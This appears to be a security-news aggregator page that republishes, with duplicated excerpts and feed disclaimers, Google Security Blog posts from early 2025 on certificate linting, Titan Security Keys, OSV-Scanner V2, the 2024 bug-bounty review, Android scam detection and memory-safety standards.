Linting can expose the use of weak or obsolete cryptographic algorithms and other known insecure practices, improving overall security. Linting improves interoperability and helps CAs reduce the risk of non-compliance with industry standards (e.g., CA/Browser Forum TLS Baseline Requirements). Non-compliance can result in certificates being "mis-issued". Detecting these issues before a certificate is in use by a site operator reduces the negative impact associated with having to correct a mis-issued certificate.

There are numerous open-source linting projects in existence (e.g., certlint , pkilint , x509lint , and zlint ), in addition to numerous custom linting projects maintained by members of the Web PKI ecosystem. “Meta” linters, like pkimetal , combine multiple linting tools into a single solution, offering simplicity and significant performance improvements to implementers compared to implementing multiple standalone linting solutions. 

Last spring, the Chrome Root Program led ecosystem-wide experiments, emphasizing the need for linting adoption due to the discovery of widespread certificate mis-issuance. We later participated in drafting CA/Browser Forum Ballot SC-075 to require adoption of certificate linting. The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on linting as part of their certificate issuance process.

 What’s next? 

We recently landed an updated version of the Chrome Root Program Policy that further aligns with the goals outlined in “Moving Forward, Together.” The Chrome Root Program remains committed to proactive advancement of the Web PKI. This commitment was recently realized in practice through our proposal to sunset demonstrated weak domain control validation methods permitted by the CA/Browser Forum TLS Baseline Requirements. The weak validation methods in question are now prohibited beginning July 15, 2025.

It’s essential we all work together to continually improve the Web PKI, and reduce the opportunities for risk and abuse before measurable harm can be realized. We continue to value collaboration with web security professionals and the members of the CA/Browser Forum to realize a safer Internet. Looking forward, we’re excited to explore a reimagined Web PKI and Chrome Root Program with even stronger security assurances for the web as we navigate the transition to post-quantum cryptography . We’ll have more to say about quantum-resistant PKI later this year.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Titan Security Keys now available in more countries
https://kevwire.com/record/google-security-titan-security-keys-now-available-in-c29dcd71fea7
Titan Security Keys now available in more countries (Mar 26, 2025).
Posted by Christiaan Brand, Group Product Manager 

 We’re excited to announce that starting today, Titan Security Keys are available for purchase in more than 10 new countries: 

 Ireland 

 Portugal 

 The Netherlands 

 Denmark 

 Norway 

 Sweden 

 Finland 

 Australia 

 New Zealand 

 Singapore 

 Puerto Rico 

 This expansion means Titan Security Keys are now available in 22 markets, including previously announced countries like Austria, Belgium, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US. 

 What is a Titan Security Key? 

 A Titan Security Key is a small, physical device that you can use to verify your identity when you sign in to your Google Account. It’s like a second password that’s much harder for cybercriminals to steal. 

 Titan Security Keys allow you to store your passkeys on a strong, purpose-built device that can help protect you against phishing and other online attacks. They’re easy to use and work with a wide range of devices and services as they’re compatible with the FIDO2 standard. 

 How do I use a Titan Security Key? 

 To use a Titan Security Key, you simply plug it into your computer’s USB port or tap it to your device using NFC. When you’re asked to verify your identity, you’ll just need to tap the button on the key. 

 Where can I buy a Titan Security Key? 

 You can buy Titan Security Keys on the Google Store . 

 We’re committed to making our products available to as many people as possible and we hope this expansion will help more people stay safe online.
Sources:
Google Security Research: Titan Security Keys now available in more countries: https://security.googleblog.com/2025/03/titan-security-keys-now-available-in.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Christiaan Brand, Group Product Manager 

 We’re excited to announce that starting today, Titan Security Keys are available for purchase in more than 10 new countries: 

 Ireland 

 Portugal 

 The Netherlands 

 Denmark 

 Norway 

 Sweden 

 Finland 

 Australia 

 New Zealand 

 Singapore 

 Puerto Rico 

 This expansion means Titan Security Keys are now available in 22 markets, including previously announced countries like Austria, Belgium, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US. 

 What is a Titan Security Key? 

 A Titan Security Key is a small, physical device that you can use to verify your identity when you sign in to your Google Account. It’s like a second password that’s much harder for cybercriminals to steal. 

 Titan Security Keys allow you to store your passkeys on a strong, purpose-built device that can help protect you against phishing and other online attacks. They’re easy to use and work with a wide range of devices and services as they’re compatible with the FIDO2 standard. 

 How do I use a Titan Security Key? 

 To use a Titan Security Key, you simply plug it into your computer’s USB port or tap it to your device using NFC. When you’re asked to verify your identity, you’ll just need to tap the button on the key. 

 Where can I buy a Titan Security Key? 

 You can buy Titan Security Keys on the Google Store . 

 We’re committed to making our products available to as many people as possible and we hope this expansion will help more people stay safe online.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Announcing OSV-Scanner V2: Vulnerability scanner and remediation tool for open source
https://kevwire.com/record/google-security-announcing-osv-scanner-v2-vulnerability-25b7a8fe3cbd
Announcing OSV-Scanner V2: Vulnerability scanner and remediation tool for open source (Mar 17, 2025).
Posted by Rex Pan and Xueqin Cui, Google Open Source Security Team 

 In December 2022, we released the open source OSV-Scanner tool, and earlier this year, we open sourced OSV-SCALIBR . OSV-Scanner and OSV-SCALIBR, together with OSV.dev are components of an open platform for managing vulnerability metadata and enabling simple and accurate matching and remediation of known vulnerabilities. Our goal is to simplify and streamline vulnerability management for developers and security teams alike. 

 Today, we're thrilled to announce the launch of OSV-Scanner V2.0.0, following the announcement of the beta version . This V2 release builds upon the foundation we laid with OSV-SCALIBR and adds significant new capabilities to OSV-Scanner, making it a comprehensive vulnerability scanner and remediation tool with broad support for formats and ecosystems. 

 What’s new 

 Enhanced Dependency Extraction with OSV-SCALIBR 

 This release represents the first major integration of OSV-SCALIBR features into OSV-Scanner, which is now the official command-line code and container scanning tool for the OSV-SCALIBR library. This integration also expanded our support for the kinds of dependencies we can extract from projects and containers: 

 Source manifests and lockfiles: 

 .NET: deps.json 

 Python: uv.lock 

 JavaScript: bun.lock 

 Haskell: cabal.project.freeze, stack.yaml.lock 

 Artifacts: 

 Node modules 

 Python wheels 

 Java uber jars 

 Go binaries 

 Layer and base image-aware container scanning 

 Previously, OSV-Scanner focused on scanning of source repositories and language package manifests and lockfiles. OSV-Scanner V2 adds support for comprehensive, layer-aware scanning for Debian, Ubuntu, and Alpine container images. OSV-Scanner can now analyze container images to provide: 

 Layers where a package was first introduced 

 Layer history and commands 

 Base images the image is based on (leveraging a new experimental API provided by deps.dev). 

 OS/Distro the containe
Sources:
Google Security Research: Announcing OSV-Scanner V2: Vulnerability scanner and remediation tool for open source: https://security.googleblog.com/2025/03/announcing-osv-scanner-v2-vulnerability.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Rex Pan and Xueqin Cui, Google Open Source Security Team 

 In December 2022, we released the open source OSV-Scanner tool, and earlier this year, we open sourced OSV-SCALIBR . OSV-Scanner and OSV-SCALIBR, together with OSV.dev are components of an open platform for managing vulnerability metadata and enabling simple and accurate matching and remediation of known vulnerabilities. Our goal is to simplify and streamline vulnerability management for developers and security teams alike. 

 Today, we're thrilled to announce the launch of OSV-Scanner V2.0.0, following the announcement of the beta version . This V2 release builds upon the foundation we laid with OSV-SCALIBR and adds significant new capabilities to OSV-Scanner, making it a comprehensive vulnerability scanner and remediation tool with broad support for formats and ecosystems. 

 What’s new 

 Enhanced Dependency Extraction with OSV-SCALIBR 

 This release represents the first major integration of OSV-SCALIBR features into OSV-Scanner, which is now the official command-line code and container scanning tool for the OSV-SCALIBR library. This integration also expanded our support for the kinds of dependencies we can extract from projects and containers: 

 Source manifests and lockfiles: 

 .NET: deps.json 

 Python: uv.lock 

 JavaScript: bun.lock 

 Haskell: cabal.project.freeze, stack.yaml.lock 

 Artifacts: 

 Node modules 

 Python wheels 

 Java uber jars 

 Go binaries 

 Layer and base image-aware container scanning 

 Previously, OSV-Scanner focused on scanning of source repositories and language package manifests and lockfiles. OSV-Scanner V2 adds support for comprehensive, layer-aware scanning for Debian, Ubuntu, and Alpine container images. OSV-Scanner can now analyze container images to provide: 

 Layers where a package was first introduced 

 Layer history and commands 

 Base images the image is based on (leveraging a new experimental API provided by deps.dev). 

 OS/Distro the container is running on 

 Filtering of vulnerabilities that are unlikely to impact your container image 

 This layer analysis currently supports the following OSes and languages: 

 Distro Support: 

 Alpine OS 

 Debian 

 Ubuntu 

 Language Artifacts Support: 

 Go 

 Java 

 Node 

 Python 

 Interactive HTML output 

 Presenting vulnerability scan information in a clear and actionable way is difficult, particularly in the context of container scanning. To address this, we built a new interactive local HTML output format. This provides more interactivity and information compared to terminal only outputs, including: 

 Severity breakdown 

 Package and ID filtering 

 Vulnerability importance filtering 

 Full vulnerability advisory entries 

 And additionally for container image scanning: 

 Layer filtering 

 Image layer information 

 Base image identification 

 Illustration of HTML output for container image scanning 

 Guided remediation for Maven pom.xml 

 Last year we released a feature called guided remediation for npm , which streamlines vulnerability management by intelligently suggesting prioritized, targeted upgrades and offering flexible strategies. This ultimately maximizes security improvements while minimizing disruption. We have now expanded this feature to Java through support for Maven pom.xml. 

 With guided remediation support for Maven, you can remediate vulnerabilities in both direct and transitive dependencies through direct version updates or overriding versions through dependency management. 

 We’ve introduced a few new things for our Maven support: 

 A new remediation strategy override. 

 Support for reading and writing pom.xml files, including writing changes to local parent pom files. We leverage OSV-Scalibr for Maven transitive dependency extraction. 

 A private registry can be specified to fetch Maven metadata. 

 A new experimental subcommend to update all your dependencies in pom.xml to the latest version. 

 We also introduced machine readable output for guided remediation that makes it easier to integrate guided remediation into your workflow. 

 What’s next? 

 We have exciting plans for the remainder of the year, including: 

 Continued OSV-SCALIBR Convergence: We will continue to converge OSV-Scanner and OSV-SCALIBR to bring OSV-SCALIBR’s functionality to OSV-Scanner’s CLI interface. 

 Expanded Ecosystem Support: We'll expand the number of ecosystems we support across all the features currently in OSV-Scanner, including more languages for guided remediation, OS advisories for container scanning, and more general lockfile support for source code scanning. 

 Full Filesystem Accountability for Containers: Another goal of osv-scanner is to give you the ability to know and account for every single file on your container image, including sideloaded binaries downloaded from the internet. 

 Reachability Analysis: We're working on integrating reachability analysis to provide deeper insights into the potential impact of vulnerabilities. 

 VEX Support: We're planning to add support for Vulnerability Exchange (VEX) to facilitate better communication and collaboration around vulnerability information. 

 Try OSV-Scanner V2 

 You can try V2.0.0 and contribute to its ongoing development by checking out OSV-Scanner or the OSV-SCALIBR repository. We welcome your feedback and contributions as we continue to improve the platform and make vulnerability management easier for everyone. 

 If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com, or post an issue in our issue tracker .

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability Reward Program: 2024 in Review
https://kevwire.com/record/google-security-vulnerability-reward-program-2024-in-c600d1a2a894
Vulnerability Reward Program: 2024 in Review (Mar 7, 2025).
Posted by Dirk Göhmann 

 In 2024, our Vulnerability Reward Program confirmed the ongoing value of engaging with the security research community to make Google and its products safer. This was evident as we awarded just shy of $12 million to over 600 researchers based in countries around the globe across all of our programs. 

 Vulnerability Reward Program 2024 in Numbers 

 You can learn about who’s reporting to the Vulnerability Reward Program via our Leaderboard – and find out more about our youngest security researchers who’ve recently joined the ranks of Google bug hunters. 

 VRP Highlights in 2024 

 In 2024 we made a series of changes and improvements coming to our vulnerability reward programs and related initiatives: 

 The Google VRP revamped its reward structure , bumping rewards up to a maximum of $151,515, the Mobile VRP is now offering up to $300,000 for critical vulnerabilities in top-tier apps, Cloud VRP has a top-tier award of up $151,51 5 , and Chrome awards now peak at $250,000 (see the below section on Chrome for details). 

 We rolled out InternetCTF – to get rewarded, discover novel code execution vulnerabilities in open source and provide Tsunami plugin patches for them. 

 The Abuse VRP saw a 40% YoY increase in payouts – we received over 250 valid bugs targeting abuse and misuse issues in Google products, resulting in over $290,000 in rewards. 

 To improve the payment process for rewards going to bug hunters, we introduced Bugcrowd as an additional payment option on bughunters.google.com alongside the existing standard Google payment option. 

 We hosted two editions of bugSWAT for training, skill sharing, and, of course, some live hacking – in August, we had 16 bug hunters in attendance in Las Vegas, and in October, as part of our annual security conference ESCAL8 in Malaga, Spain , we welcomed 40 of our top researchers. Between these two events, our bug hunters were rewarded $370,000 (and plenty of swag). 

 We doubled down on our commit
Sources:
Google Security Research: Vulnerability Reward Program: 2024 in Review: https://security.googleblog.com/2025/03/vulnerability-reward-program-2024-in.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Dirk Göhmann 

 In 2024, our Vulnerability Reward Program confirmed the ongoing value of engaging with the security research community to make Google and its products safer. This was evident as we awarded just shy of $12 million to over 600 researchers based in countries around the globe across all of our programs. 

 Vulnerability Reward Program 2024 in Numbers 

 You can learn about who’s reporting to the Vulnerability Reward Program via our Leaderboard – and find out more about our youngest security researchers who’ve recently joined the ranks of Google bug hunters. 

 VRP Highlights in 2024 

 In 2024 we made a series of changes and improvements coming to our vulnerability reward programs and related initiatives: 

 The Google VRP revamped its reward structure , bumping rewards up to a maximum of $151,515, the Mobile VRP is now offering up to $300,000 for critical vulnerabilities in top-tier apps, Cloud VRP has a top-tier award of up $151,51 5 , and Chrome awards now peak at $250,000 (see the below section on Chrome for details). 

 We rolled out InternetCTF – to get rewarded, discover novel code execution vulnerabilities in open source and provide Tsunami plugin patches for them. 

 The Abuse VRP saw a 40% YoY increase in payouts – we received over 250 valid bugs targeting abuse and misuse issues in Google products, resulting in over $290,000 in rewards. 

 To improve the payment process for rewards going to bug hunters, we introduced Bugcrowd as an additional payment option on bughunters.google.com alongside the existing standard Google payment option. 

 We hosted two editions of bugSWAT for training, skill sharing, and, of course, some live hacking – in August, we had 16 bug hunters in attendance in Las Vegas, and in October, as part of our annual security conference ESCAL8 in Malaga, Spain , we welcomed 40 of our top researchers. Between these two events, our bug hunters were rewarded $370,000 (and plenty of swag). 

 We doubled down on our commitment to support the next generation of security engineers by hosting four init.g workshops ( Las Vegas , São Paulo , Paris , and Malaga ). Follow the Google VRP channel on X to stay tuned on future events. 

 More detailed updates on selected programs are shared in the following sections. 

 Android and Google Devices 

 In 2024, the Android and Google Devices Security Reward Program and the Google Mobile Vulnerability Reward Program, both part of the broader Google Bug Hunters program, continued their mission to fortify the Android ecosystem, achieving new heights in both impact and severity. We awarded over $3.3 million in rewards to researchers who demonstrated exceptional skill in uncovering critical vulnerabilities within Android and Google mobile applications. 

 The above numbers mark a significant change compared to previous years. Although we saw an 8% decrease in the total number of submissions, there was a 2% increase in the number of critical and high vulnerabilities. In other words, fewer researchers are submitting fewer, but more impactful bugs, and are citing the improved security posture of the Android operating system as the central challenge. This showcases the program's sustained success in hardening Android. 

 This year, we had a heightened focus on Android Automotive OS and WearOS, bringing actual automotive devices to multiple live hacking events and conferences. At ESCAL8, we hosted a live-hacking challenge focused on Pixel devices, resulting in over $75,000 in rewards in one weekend, and the discovery of several memory safety vulnerabilities. To facilitate learning, we launched a new Android hacking course in collaboration with external security researchers, focused on mobile app security, designed for newcomers and veterans alike. Stay tuned for more. 

 We extend our deepest gratitude to the dedicated researchers who make the Android ecosystem safer. We're proud to work with you! Special thanks to Zinuo Han (@ele7enxxh ) for their expertise in Bluetooth security, blunt ( @blunt_qian ) for holding the record for the most valid reports submitted to the Google Play Security Reward Program, and WANG,YONG ( @ThomasKing2014 ) for groundbreaking research on rooting Android devices with kernel MTE enabled. We also appreciate all researchers who participated in last year's bugSWAT event in Málaga. Your contributions are invaluable! 

 Chrome 

 Chrome did some remodeling in 2024 as we updated our reward amounts and structure to incentivize deeper research . For example, we increased our maximum reward for a single issue to $250,000 for demonstrating RCE in the browser or other non-sandboxed process, and more if done directly without requiring a renderer compromise. 

 In 2024, UAF mitigation MiraclePtr was fully launched across all platforms, and a year after the initial launch, MiraclePtr-protected bugs are no longer being considered exploitable security bugs. In tandem, we increased the MiraclePtr Bypass Reward to $250,128. Between April and November, we also launched the first and second iterations of the V8 Sandbox Bypass Rewards as part of the progression towards the V8 sandbox, eventually becoming a security boundary in Chrome. 

 We received 337 reports of unique, valid security bugs in Chrome during 2024, and awarded 137 Chrome VRP researchers $3.4 million in total. The highest single reward of 2024 was $100,115 and was awarded to Mickey for their report of a MiraclePtr Bypass after MiraclePtr was initially enabled across most platforms in Chrome M115 in 2023. We rounded out the year by announcing the top 20 Chrome VRP researchers for 2024 , all of whom were gifted new Chrome VRP swag, featuring our new Chrome VRP mascot, Bug . 

 Cloud VRP 

 The Cloud VRP launched in October as a Cloud-focused vulnerability reward program dedicated to Google Cloud products and services. As part of the launch, we also updated our product tiering and improved our reward structure to better align our reports with their impact on Google Cloud. This resulted in over 150 Google Cloud products coming under the top two reward tiers, enabling better rewards for our Cloud researchers and a more secure cloud. 

 Since its launch, Google Cloud VRP triaged over 400 reports and filed over 200 unique security vulnerabilities for Google Cloud products and services leading to over $500,000 in researcher rewards. 

 Our highlight last year was launching at the bugSWAT event in Málaga where we got to meet many of our amazing researchers who make our program so successful! The overwhelming positive feedback from the researcher community continues to propel us to mature Google Cloud VRP further this year. Stay tuned for some exciting announcements! 

 Generative AI 

 We’re celebrating an exciting first year of AI bug bounties. We received over 150 bug reports – over $55,000 in rewards so far – with one-in-six leading to key improvements. 

 We also ran a bugSWAT live-hacking event targeting LLM products and received 35 reports, totaling more than $87,000 – including issues like “ Hacking Google Bard - From Prompt Injection to Data Exfiltration ” and “ We Hacked Google A.I. for $50,000 ”. 

 Keep an eye on Gen AI in 2025 as we focus on expanding scope and sharing additional ways for our researcher community to contribute. 

 Looking Forward to 2025 

 In 2025, we will be celebrating 15 years of VRP at Google, during which we have remained fully committed to fostering collaboration, innovation, and transparency with the security community, and will continue to do so in the future. Our goal remains to stay ahead of emerging threats, adapt to evolving technologies, and continue to strengthen the security posture of Google’s products and services. 

 We want to send a huge thank you to our bug hunter community for helping us make Google products and platforms more safe and secure for our users around the world – and invite researchers not yet engaged with the Vulnerability Reward Program to join us in
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### New AI-Powered Scam Detection Features to Help Protect You on Android
https://kevwire.com/record/google-security-new-ai-powered-scam-detection-features-a6d66beb5c27
New AI-Powered Scam Detection Features to Help Protect You on Android (Mar 4, 2025).
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse 

Google has been at the forefront of protecting users from the ever-growing threat of scams and fraud with cutting-edge technologies and security expertise for years. In 2024, scammers used increasingly sophisticated tactics and generative AI-powered tools to steal more than $1 trillion from mobile consumers globally, according to the Global Anti-Scam Alliance . And with the majority of scams now delivered through phone calls and text messages, we’ve been focused on making Android’s safeguards even more intelligent with powerful Google AI to help keep your financial information and data safe.

Today, we’re launching two new industry-leading AI-powered scam detection features for calls and text messages, designed to protect users from increasingly complex and damaging scams. These features specifically target conversational scams, which can often appear initially harmless before evolving into harmful situations. 

To enhance our detection capabilities, we partnered with financial institutions around the world to better understand the latest advanced and most common scams their customers are facing. For example, users are experiencing more conversational text scams that begin innocently, but gradually manipulate victims into sharing sensitive data, handing over funds, or switching to other messaging apps. And more phone calling scammers are using spoofing techniques to hide their real numbers and pretend to be trusted companies. 

Traditional spam protections are focused on protecting users before the conversation starts, and are less effective against these latest tactics from scammers that turn dangerous mid-conversation and use social engineering techniques. To better protect users, we invested in new, intelligent AI models capable of detecting suspicious patterns and delivering real-time warnings over the course of a conv
AI classification: defense; evidence: reported. The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.
Sources:
Google Security Research: New AI-Powered Scam Detection Features to Help Protect You on Android: https://security.googleblog.com/2025/03/new-ai-powered-scam-detection-features.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse 

Google has been at the forefront of protecting users from the ever-growing threat of scams and fraud with cutting-edge technologies and security expertise for years. In 2024, scammers used increasingly sophisticated tactics and generative AI-powered tools to steal more than $1 trillion from mobile consumers globally, according to the Global Anti-Scam Alliance . And with the majority of scams now delivered through phone calls and text messages, we’ve been focused on making Android’s safeguards even more intelligent with powerful Google AI to help keep your financial information and data safe.

Today, we’re launching two new industry-leading AI-powered scam detection features for calls and text messages, designed to protect users from increasingly complex and damaging scams. These features specifically target conversational scams, which can often appear initially harmless before evolving into harmful situations. 

To enhance our detection capabilities, we partnered with financial institutions around the world to better understand the latest advanced and most common scams their customers are facing. For example, users are experiencing more conversational text scams that begin innocently, but gradually manipulate victims into sharing sensitive data, handing over funds, or switching to other messaging apps. And more phone calling scammers are using spoofing techniques to hide their real numbers and pretend to be trusted companies. 

Traditional spam protections are focused on protecting users before the conversation starts, and are less effective against these latest tactics from scammers that turn dangerous mid-conversation and use social engineering techniques. To better protect users, we invested in new, intelligent AI models capable of detecting suspicious patterns and delivering real-time warnings over the course of a conversation, all while prioritizing user privacy. 

 Scam Detection for messages

We’re building on our enhancements to existing Spam Protection in Google Messages that strengthen defenses against job and delivery scams, which are continuing to roll out to users. We’re now introducing Scam Detection to detect a wider range of fraudulent activities. 

Scam Detection in Google Messages uses powerful Google AI to proactively address conversational scams by providing real-time detection even after initial messages are received. When the on-device AI detects a suspicious pattern in SMS, MMS, and RCS messages, users will now get a message warning of a likely scam with an option to dismiss or report and block the sender. 

As part of the Spam Protection setting, Scam Detection on Google Messages is on by default and only applies to conversations with non-contacts. Your privacy is protected with Scam Detection in Google Messages, with all message processing remaining on-device . Your conversations remain private to you; if you choose to report a conversation to help reduce widespread spam, only sender details and recent messages with that sender are shared with Google and carriers. You can turn off Spam Protection, which includes Scam Detection, in your Google Messages at any time.

Scam Detection in Google Messages is launching in English first in the U.S., U.K. and Canada and will expand to more countries soon. 

 Scam Detection for calls

More than half of Americans reported receiving at least one scam call per day in 2024. To combat the rise of sophisticated conversational scams that deceive victims over the course of a phone call, we introduced Scam Detection late last year to U.S.-based English-speaking Phone by Google public beta users on Pixel phones. 

We use AI models processed on-device to analyze conversations in real-time and warn users of potential scams. If a caller, for example, tries to get you to provide payment via gift cards to complete a delivery, Scam Detection will alert you through audio and haptic notifications and display a warning on your phone that the call may be a scam. 

During our limited beta , we analyzed calls with Gemini Nano, Google’s built-in, on-device foundation model, on Pixel 9 devices and used smaller, robust on-device machine-learning models for Pixel 6+ users. Our testing showed that Gemini Nano outperformed other models, so as a result, we're currently expanding the availability of the beta to bring the most capable Scam Detection to all English-speaking Pixel 9+ users in the U.S.

Similar to Scam Detection in messaging, we built this feature to protect your privacy by processing everything on-device. Call audio is processed ephemerally and no conversation audio or transcription is recorded, stored on the device, or sent to Google or third parties. Scam Detection in Phone by Google is off by default to give users control over this feature, as phone call audio is more ephemeral compared to messages, which are stored on devices. Scam Detection only applies to calls that could potentially be scams, and is never used during calls with your contacts. If enabled, Scam Detection will beep at the start and during the call to notify participants the feature is on. You can turn off Scam Detection at any time, during an individual call or for all future calls.

According to our research and a Scam Detection beta user survey, these types of alerts have already helped people be more cautious on the phone, detect suspicious activity, and avoid falling victim to conversational scams.

 Keeping Android users safe with the power of Google AI

We're committed to keeping Android users safe, and that means constantly evolving our defenses against increasingly sophisticated scams and fraud. Our investment in intelligent protection is having real-world impact for billions of users. Leviathan Security Group , a cybersecurity firm, conducted a funded evaluation of fraud protection features on a number of smartphones and found that Android smartphones, led by the Pixel 9 Pro, scored highest for built-in security features and anti-fraud efficacy 1 . 

With AI-powered innovations like Scam Detection in Messages and Phone by Google, we're giving you more tools to stay one step ahead of bad actors. We're constantly working with our partners across the Android ecosystem to help bring new security features to even more users. Together, we’re always working to keep you safe on Android.

 Notes

 Based on third-party research funded by Google LLC in Feb 2025 comparing the Pixel 9 Pro, iPhone 16 Pro, Samsung S24+ and Xiaomi 14 Ultra. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Securing tomorrow's software: the need for memory safety standards
https://kevwire.com/record/google-security-securing-tomorrows-software-need-for-8951c82e6796
Securing tomorrow's software: the need for memory safety standards (Feb 25, 2025).
Posted by Alex Rebert, Security Foundations, Ben Laurie, Research, Murali Vijayaraghavan, Research and Alex Richardson, Silicon 

 For decades, memory safety vulnerabilities have been at the center of various security incidents across the industry, eroding trust in technology and costing billions . Traditional approaches, like code auditing, fuzzing, and exploit mitigations – while helpful – haven't been enough to stem the tide, while incurring an increasingly high cost. 

 In this blog post, we are calling for a fundamental shift: a collective commitment to finally eliminate this class of vulnerabilities, anchored on secure-by-design practices – not just for ourselves but for the generations that follow. 

 The shift we are calling for is reinforced by a recent ACM article calling to standardize memory safety we took part in releasing with academic and industry partners. It's a recognition that the lack of memory safety is no longer a niche technical problem but a societal one, impacting everything from national security to personal privacy. 

 The standardization opportunity 

 Over the past decade, a confluence of secure-by-design advancements has matured to the point of practical, widespread deployment. This includes memory-safe languages, now including high-performance ones such as Rust, as well as safer language subsets like Safe Buffers for C++. 

 These tools are already proving effective. In Android for example, the increasing adoption of memory-safe languages like Kotlin and Rust in new code has driven a significant reduction in vulnerabilities . 

 Looking forward, we're also seeing exciting and promising developments in hardware. Technologies like ARM's Memory Tagging Extension (MTE) and the Capability Hardware Enhanced RISC Instructions (CHERI) architecture offer a complementary defense, particularly for existing code. 

 While these advancements are encouraging, achieving comprehensive memory safety across the entire software industry requires more tha
Sources:
Google Security Research: Securing tomorrow's software: the need for memory safety standards: https://security.googleblog.com/2025/02/securing-tomorrows-software-need-for.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Alex Rebert, Security Foundations, Ben Laurie, Research, Murali Vijayaraghavan, Research and Alex Richardson, Silicon 

 For decades, memory safety vulnerabilities have been at the center of various security incidents across the industry, eroding trust in technology and costing billions . Traditional approaches, like code auditing, fuzzing, and exploit mitigations – while helpful – haven't been enough to stem the tide, while incurring an increasingly high cost. 

 In this blog post, we are calling for a fundamental shift: a collective commitment to finally eliminate this class of vulnerabilities, anchored on secure-by-design practices – not just for ourselves but for the generations that follow. 

 The shift we are calling for is reinforced by a recent ACM article calling to standardize memory safety we took part in releasing with academic and industry partners. It's a recognition that the lack of memory safety is no longer a niche technical problem but a societal one, impacting everything from national security to personal privacy. 

 The standardization opportunity 

 Over the past decade, a confluence of secure-by-design advancements has matured to the point of practical, widespread deployment. This includes memory-safe languages, now including high-performance ones such as Rust, as well as safer language subsets like Safe Buffers for C++. 

 These tools are already proving effective. In Android for example, the increasing adoption of memory-safe languages like Kotlin and Rust in new code has driven a significant reduction in vulnerabilities . 

 Looking forward, we're also seeing exciting and promising developments in hardware. Technologies like ARM's Memory Tagging Extension (MTE) and the Capability Hardware Enhanced RISC Instructions (CHERI) architecture offer a complementary defense, particularly for existing code. 

 While these advancements are encouraging, achieving comprehensive memory safety across the entire software industry requires more than just individual technological progress: we need to create the right environment and accountability for their widespread adoption. Standardization is key to this. 

 To facilitate standardization, we suggest establishing a common framework for specifying and objectively assessing memory safety assurances; doing so will lay the foundation for creating a market in which vendors are incentivized to invest in memory safety. Customers will be empowered to recognize, demand, and reward safety. This framework will provide governments and businesses with the clarity to specify memory safety requirements, driving the procurement of more secure systems. 

 The framework we are proposing would complement existing efforts by defining specific, measurable criteria for achieving different levels of memory safety assurance across the industry. In this way, policymakers will gain the technical foundation to craft effective policy initiatives and incentives promoting memory safety. 

 A blueprint for a memory-safe future 

 We know there's more than one way of solving this problem, and we are ourselves investing in several. Importantly, our vision for achieving memory safety through standardization focuses on defining the desired outcomes rather than locking ourselves into specific technologies. 

 To translate this vision into an effective standard, we need a framework that will: 

 Foster innovation and support diverse approaches: The standard should focus on the security properties we want to achieve (e.g., freedom from spatial and temporal safety violations) rather than mandating specific implementation details. The framework should therefore be technology-neutral, allowing vendors to choose the best approach for their products and requirements. This encourages innovation and allows software and hardware manufacturers to adopt the best solutions as they emerge. 

 Tailor memory safety requirements based on need: The framework should establish different levels of safety assurance, akin to SLSA levels , recognizing that different applications have different security needs and cost constraints. Similarly, we likely need distinct guidance for developing new systems and improving existing codebases. For instance, we probably do not need every single piece of code to be formally proven. This allows for tailored security , ensuring appropriate levels of memory safety for various contexts. 

 Enable objective assessment: The framework should define clear criteria and potentially metrics for assessing memory safety and compliance with a given level of assurance. The goal would be to objectively compare the memory safety assurance of different software components or systems, much like we assess energy efficiency today. This will move us beyond subjective claims and towards objective and comparable security properties across products. 

 Be practical and actionable : Alongside the technology-neutral framework, we need best practices for existing technologies. The framework should provide guidance on how to effectively leverage specific technologies to meet the standards. This includes answering questions such as when and to what extent unsafe code is acceptable within larger software systems, and guidelines on structuring such unsafe dependencies to support compositional reasoning about safety. 

 Google's commitment 

 At Google, we're not just advocating for standardization and a memory-safe future, we're actively working to build it. 

 We are collaborating with industry and academic partners to develop potential standards, and our joint authorship of the recent CACM call-to-action marks an important first step in this process. In addition, as outlined in our Secure by Design whitepaper and in our memory safety strategy , we are deeply committed to building security into the foundation of our products and services. 

 This commitment is also reflected in our internal efforts. We are prioritizing memory-safe languages, and have already seen significant reductions in vulnerabilities by adopting languages like Rust in combination with existing, wide-spread usage of Java, Kotlin, and Go where performance constraints permit. We recognize that a complete transition to those languages will take time. That's why we're also investing in techniques to improve the safety of our existing C++ codebase by design, such as deploying hardened libc++ . 

 Let's build a memory-safe future together 

